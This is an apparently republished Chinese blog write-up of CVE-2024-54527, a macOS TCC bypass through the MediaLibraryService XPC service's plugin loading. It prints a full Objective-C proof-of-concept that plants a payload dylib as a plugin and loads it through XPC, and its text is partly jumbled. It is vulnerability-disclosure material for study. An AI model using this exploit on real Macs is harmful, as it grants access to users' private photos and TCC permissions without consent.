概述
CVE-2024-54527 是一个苹果 MediaLibraryService XPC 服务的漏洞,允许应用程序绕过 TCC(透明度、同意和控制),可未经用户许可访问敏感数据。
漏洞
该漏洞存在于 XPC 服务 /System/Library/Frameworks/MediaLibrary.framework/Versions/A/XPCServices/com.apple.MediaLibraryService.xpc 中,该服务具有强大的 TCC 权限:
[Key] com.apple.private.tcc.manager
[Value]
[Bool] true
[Key] com.apple.private.tcc.allow
[Value]
[Array]
[String] kTCCServicePhotos
-
com.apple.private.tcc.manager
-
值:
true
-
这个键表示该服务(或应用程序)具有管理 TCC 权限的能力。设置为
true
表示它可以直接管理或更改 TCC 配置,允许它请求特定权限或控制对特定敏感资源的访问。
-
-
com.apple.private.tcc.allow
-
值:
[Array]
-
该键包含一个数组,列出了允许访问的服务或资源。
-
在这个例子中,数组中的项为:
-
kTCCServicePhotos:表示该服务被授权访问照片库。
kTCCServicePhotos
是一个标识符,表示照片服务,通常与访问用户的照片库相关。
-
-
这段配置表示该 XPC 服务(com.apple.MediaLibraryService.xpc)被赋予了管理 TCC 权限的能力,并且允许访问照片库。这样,恶意程序或具有该权限的进程可能会滥用此权限,绕过正常的安全控制,获取用户的照片数据。
权限 “com.apple.private.tcc.manager” 授予 XPC 服务向 tccd 守护进程发送请求,以直接修改 TCC.db 的权限!
如果 XPC 客户端没有启用沙盒(sandbox),则 XPC 服务将接受客户端连接:
如果 XPC 客户端启用了沙盒,并且没有至少一个媒体权限,则 XPC 连接将被拒绝:
当 XPC 客户端没有启用沙盒时,XPC 服务将接受带有以下协议的连接:
@protocol MLSMediaLibraryProtocol
-
(void)attributesForMediaSource:(NSString *)arg1 reply:(void (^)(NSDictionary *, NSError *))arg2;
-
(void)mediaObjectsForIdentifiers:(NSArray *)arg1 inSource:(NSString *)arg2 reply:(void (^)(NSData *, NSError *))arg3;
-
(void)thumbnailURLForObject:(NSString *)arg1 source:(NSString *)arg2;
-
(void)artworkDataForObject:(NSString *)arg1 source:(NSString *)arg2 reply:(void (^)(NSData *))arg3;
-
(void)iconDataForGroup:(NSString *)arg1 source:(NSString *)arg2 reply:(void (^)(NSData *))arg3;
-
(void)mediaObjectsForGroup:(NSString *)arg1 source:(NSString *)arg2 completionHandler:(void (^)(NSData *, NSError *))arg3;
-
(void)rootGroupForMediaSource:(NSString *)arg1;
-
(void)loadSourcesWithOptions:(NSDictionary *)arg1 completionHandler:(void (^)(NSDictionary *, NSError *))arg2;
-
(void)serviceLogLevel:(void (^)(long long, NSError *))arg1;
@end
以上是一个 Objective-C 协议MLSMediaLibraryProtocol
,定义了一组与媒体库相关的操作方法。以下是对每个方法的解析:
-
**- (void)attributesForMediaSource:(NSString *)arg1 reply:(void (^)(NSDictionary , NSError ))arg2;
-
该方法用于获取某个媒体源(
arg1
)的属性。执行时会异步返回一个字典(NSDictionary
)和可能的错误(NSError
)。 -
返回的数据包含有关媒体源的详细信息。
-
-
**- (void)mediaObjectsForIdentifiers:(NSArray *)arg1 inSource:(NSString *)arg2 reply:(void (^)(NSData , NSError ))arg3;
-
该方法用于根据指定的媒体标识符(
arg1
)和媒体源(arg2
),获取对应的媒体对象。 -
返回的数据是
NSData
类型,通常包含媒体对象的内容或描述,可能伴随错误(NSError
)。
-
-
**- (void)thumbnailURLForObject:(NSString )arg1 source:(NSString )arg2;
-
该方法用于获取给定媒体对象(
arg1
)在指定媒体源(arg2
)中的缩略图 URL。
-
-
**- (void)artworkDataForObject:(NSString *)arg1 source:(NSString )arg2 reply:(void (^)(NSData ))arg3;
-
该方法用于获取指定对象(
arg1
)在指定媒体源(arg2
)中的艺术作品数据(如封面图片)。返回的数据是NSData
类型。
-
-
**- (void)iconDataForGroup:(NSString *)arg1 source:(NSString )arg2 reply:(void (^)(NSData ))arg3;
-
该方法用于获取指定组(
arg1
)在指定媒体源(arg2
)中的图标数据。返回的数据是NSData
类型。
-
-
**- (void)mediaObjectsForGroup:(NSString *)arg1 source:(NSString *)arg2 completionHandler:(void (^)(NSData , NSError ))arg3;
-
该方法用于根据指定的组(
arg1
)和媒体源(arg2
)获取相应的媒体对象。返回的数据是NSData
类型,可能伴随错误。
-
-
**- (void)rootGroupForMediaSource:(NSString )arg1;*
-
该方法用于获取指定媒体源(
arg1
)的根组。通常,根组包含媒体库的整体结构。
-
-
**- (void)loadSourcesWithOptions:(NSDictionary *)arg1 completionHandler:(void (^)(NSDictionary , NSError ))arg2;
-
该方法用于加载媒体源,接收一个包含选项的字典(
arg1
),并异步返回加载的结果(字典)和错误信息。
-
-
**- (void)serviceLogLevel:(void (^)(long long, NSError ))arg1;*
-
该方法用于获取或设置服务的日志级别。返回一个日志级别(
long long
)和可能的错误。
-
这些方法用于访问和操作媒体库中的数据,如获取媒体源的属性、获取媒体对象、获取封面艺术数据、获取图标数据等。协议提供了多种异步操作来支持与媒体库的交互。
问题出现在 XPC 方法loadSourcesWithOptions:completionHandler:
中。该方法尝试从以下位置加载插件:
-
ILUserLibraryPluginLocationPath: ~/Library/Application Support/iLifeMediaBrowser/Plug-Ins
-
ILLibraryPluginLocationPath: /Library/Application Support/iLifeMediaBrowser/Plug-Ins
请注意,ILUserLibraryPluginLocationPath并没有受到 SIP 和 TCC 的保护,即使没有 root 权限也可以修改!
另一方面,XPC 服务既没有使用 Hardened Runtime 签名,也没有使用 Library Validation 签名。
因此,攻击者可以将恶意插件放入 ILUserLibraryPluginLocationPath并通过具有相应权限的 XPC 服务加载它。这样,攻击者就可以利用强大的权限 **“com.apple.private.tcc.manager”**完全绕过 TCC 保护!
利用
实际上,所有来自受限系统位置的平台二进制文件默认都受到 Library Validation 的保护。
但如果平台二进制文件没有使用 Library Validation 签名且没有特殊的权限,可以通过将平台二进制文件复制到另一个不受限制的位置来绕过这一保护。我将在下面的下一节中详细讨论这些细节。
自 macOS Ventura 起,推出了一项名为 Launch Constraints的新安全功能,旨在防止这种类型的攻击。因此,当前的解决方案是从旧版 macOS 系统复制平台二进制文件,而不是从当前系统复制。(这样不会触发静态信任缓存)
在绕过了 Library Validation 后,攻击者可以将恶意插件加载到易受攻击的 XPC 服务中,从而利用该服务的 TCC 权限。
请注意,漏洞程序必须具有有效的代码签名(Ad-hoc 签名即可),才能连接到 XPC 服务。
因为 XPC 服务的 Info.plist文件中设置了键值 “_AllowedClients”:
"XPCService" => {
"_AllowedClients" => [
0 => "always"
]
"RunLoopType" => "NSRunLoop"
"ServiceType" => "Application"
}
解析如下:
-
"XPCService": 这是 XPC 服务的名称或标识符。
-
"_AllowedClients":
-
值:
[ "always" ]
该字段表示允许连接到此 XPC 服务的客户端。在这个例子中,"always"
表示任何客户端都可以连接到该服务,意味着没有额外的客户端限制,这在安全性上可能会带来风险,因为它允许未经授权的客户端进行连接。
-
-
"RunLoopType":
-
值:
"NSRunLoop"
该字段指定了 XPC 服务的运行循环类型。在这里,使用了NSRunLoop
,这意味着服务是基于常规的运行循环模型进行操作的,适合处理需要响应事件的任务。
-
-
"ServiceType":
在使用有效签名对未启用沙盒的漏洞程序进行签名后,攻击者可以连接到 XPC 服务并发送 XPC 请求,加载未签名的恶意插件。
以下是漏洞利用代码:-
值:
"Application"
该字段指定 XPC 服务的类型为应用程序(Application
)。这通常意味着该服务是作为一个应用程序的组件运行,而不是一个独立的守护进程。
该键在函数 xpc_support_evaluate_connection中被检查,函数位于模块 /usr/lib/xpc/support.bundle/Contents/MacOS/support中:
-
// main.m
// exploit_MediaLibraryService
//
//
#import <Foundation/Foundation.h>
@protocol MLSMediaLibraryProtocol
-
(void)loadSourcesWithOptions:(NSDictionary *)arg1 completionHandler:(void (^)(NSDictionary *, NSError *))arg2;
@end
void prepare_my_plugin(void) {
NSString *pluginDir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Containers/com.apple.MediaLibraryService/Data/Library/Application Support/iLifeMediaBrowser/Plug-Ins"];
NSString *pluginPath = [pluginDir stringByAppendingPathComponent:@"iLMBGarageBandPlugin.ilmbplugin"];
NSString *pluginExe = [pluginPath stringByAppendingPathComponent:@"Contents/MacOS/iLMBGarageBandPlugin"];
NSLog(@"preparing my plugin:%@", pluginExe);
NSFileManager *fm = [NSFileManager defaultManager];
[fm createDirectoryAtPath:pluginDir withIntermediateDirectories:YES attributes:0 error:0];
[fm copyItemAtPath:@"/Library/Application Support/iLifeMediaBrowser/Plug-Ins/iLMBGarageBandPlugin.ilmbplugin" toPath:pluginPath error:0];
[fm removeItemAtPath:pluginExe error:0];
[fm copyItemAtPath:@"/private/tmp/payload.dylib" toPath:pluginExe error:0];
}
void load_my_plugin(void) {
void xpc_add_bundle(char *, int);
xpc_add_bundle("/private/tmp/com.apple.MediaLibraryService.xpc", 2);
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.MediaLibraryService"];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MLSMediaLibraryProtocol)];
[connection setInterruptionHandler:^{
NSLog(@"connection interrupted!");
}];
[connection setInvalidationHandler:^{
NSLog(@"connection invalidated!");
}];
[connection resume];
id proxy = connection.remoteObjectProxy;
NSLog(@"Loading my plugin...");
[proxy loadSourcesWithOptions:nil completionHandler:^(NSDictionary *dict, NSError *error) {
NSLog(@"result:%@, error:%@", dict, error);
NSLog(@"done, press enter to exit");
}];
getchar();
}
int main(int argc, const char * argv[]) {
prepare_my_plugin();
load_my_plugin();
return 0;
}
这是漏洞利用代码,目标是通过 XPC 服务来加载恶意插件。以下是对代码的逐行解析:
1. 导入头文件
#import <Foundation/Foundation.h>
-
导入了
Foundation
框架,这是一个常见的基础框架,提供了对字符串、文件管理、网络连接等基本功能的支持。
2. 定义协议MLSMediaLibraryProtocol
@protocol MLSMediaLibraryProtocol
- (void)loadSourcesWithOptions:(NSDictionary *)arg1 completionHandler:(void (^)(NSDictionary *, NSError *))arg2;
@end
-
定义了一个协议
MLSMediaLibraryProtocol
,它声明了一个方法loadSourcesWithOptions:completionHandler:
。这个方法将会用来与com.apple.MediaLibraryService
服务进行交互,加载媒体源。 -
该方法返回一个字典和错误对象,通过回调返回执行结果。
3. 函数prepare_my_plugin
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)